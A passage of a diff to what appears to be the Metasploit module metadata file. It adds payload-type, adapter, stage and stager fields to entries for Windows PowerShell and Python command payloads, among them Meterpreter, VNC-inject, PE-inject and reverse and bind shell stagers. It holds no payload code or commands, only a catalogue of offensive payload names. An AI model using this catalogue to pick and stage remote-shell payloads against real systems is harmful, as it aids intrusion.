"windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", @@ -202171,7 +205449,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -202209,7 +205493,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", @@ -202247,7 +205537,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -202289,7 +205585,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", @@ -202327,7 +205629,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", @@ -202365,7 +205673,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -202403,7 +205717,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", @@ -202439,7 +205759,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -202476,7 +205802,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", @@ -202512,7 +205844,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", @@ -202548,7 +205886,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -202589,7 +205933,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", @@ -202626,7 +205976,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -202662,7 +206018,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", @@ -202698,7 +206060,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -202739,7 +206107,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", @@ -202776,7 +206150,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", @@ -202811,7 +206191,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { "name": "Powershell Exec", @@ -202848,7 +206232,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { "name": "Powershell Exec", @@ -202885,7 +206273,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { "name": "Powershell Exec", @@ -202922,7 +206314,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", @@ -202957,7 +206353,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -202993,7 +206395,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", @@ -203029,7 +206437,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/powershell/x64/shell/bind_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", @@ -203064,7 +206478,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203104,7 +206524,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", @@ -203140,7 +206566,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", @@ -203175,7 +206607,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203215,7 +206653,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", @@ -203251,7 +206695,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/x64/shell_bind_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", @@ -203286,7 +206736,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", @@ -203321,7 +206775,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", @@ -203357,7 +206815,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -203394,7 +206858,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", @@ -203431,7 +206901,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", @@ -203467,7 +206943,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203508,7 +206990,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", @@ -203545,7 +207033,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", @@ -203582,7 +207076,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", @@ -203621,7 +207121,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", @@ -203657,7 +207163,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203698,7 +207210,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", @@ -203735,7 +207253,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", @@ -203772,7 +207296,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -203809,7 +207339,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", @@ -203844,7 +207380,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", @@ -203879,7 +207417,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", @@ -203914,7 +207454,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/python/meterpreter/bind_tcp": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", @@ -203948,7 +207490,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" }, "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", @@ -203983,7 +207531,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" }, "payload_cmd/windows/python/meterpreter/reverse_http": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", @@ -204017,7 +207571,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_http", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" }, "payload_cmd/windows/python/meterpreter/reverse_https": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", @@ -204051,7 +207611,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_https", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" }, "payload_cmd/windows/python/meterpreter/reverse_tcp": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", @@ -204085,7 +207651,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" }, "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", @@ -204121,7 +207693,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_tcp_ssl", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" }, "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", @@ -204156,7 +207734,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" }, "payload_cmd/windows/python/meterpreter_bind_tcp": { "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", @@ -204190,7 +207774,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_bind_tcp", + "staged": false }, "payload_cmd/windows/python/meterpreter_reverse_http": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", @@ -204224,7 +207812,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_reverse_http", + "staged": false }, "payload_cmd/windows/python/meterpreter_reverse_https": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", @@ -204258,7 +207850,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_reverse_https", + "staged": false }, "payload_cmd/windows/python/meterpreter_reverse_tcp": { "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", @@ -204292,7 +207888,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/windows/python/pingback_bind_tcp": { "name": "Python Exec, Python Pingback, Bind TCP (via python)", @@ -204327,7 +207927,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/pingback_bind_tcp", + "staged": false }, "payload_cmd/windows/python/pingback_reverse_tcp": { "name": "Python Exec, Python Pingback, Reverse TCP (via python)", @@ -204362,7 +207966,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/pingback_reverse_tcp", + "staged": false }, "payload_cmd/windows/python/shell_bind_tcp": { "name": "Python Exec, Command Shell, Bind TCP (via python)", @@ -204397,7 +208005,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_bind_tcp", + "staged": false }, "payload_cmd/windows/python/shell_reverse_sctp": { "name": "Python Exec, Command Shell, Reverse SCTP (via python)", @@ -204432,7 +208044,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_sctp", + "staged": false }, "payload_cmd/windows/python/shell_reverse_tcp": { "name": "Python Exec, Command Shell, Reverse TCP (via python)", @@ -204467,7 +208083,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_tcp", + "staged": false }, "payload_cmd/windows/python/shell_reverse_tcp_ssl": { "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", @@ -204502,7 +208122,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/windows/python/shell_reverse_udp": { "name": "Python Exec, Command Shell, Reverse UDP (via python)", @@ -204537,7 +208161,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/shell_reverse_udp", + "staged": false }, "payload_cmd/windows/reverse_lua": { "name": "Windows Command Shell, Reverse TCP (via Lua)", @@ -204571,7 +208199,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/reverse_perl": { "name": "Windows Command, Double Reverse TCP Connection (via Perl)", @@ -204606,7 +208236,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/reverse_powershell": { "name": "Windows Command Shell, Reverse TCP (via Powershell)", @@ -204641,7 +208273,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/reverse_ruby": { "name": "Windows Command Shell, Reverse TCP (via Ruby)", @@ -204675,7 +208309,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, 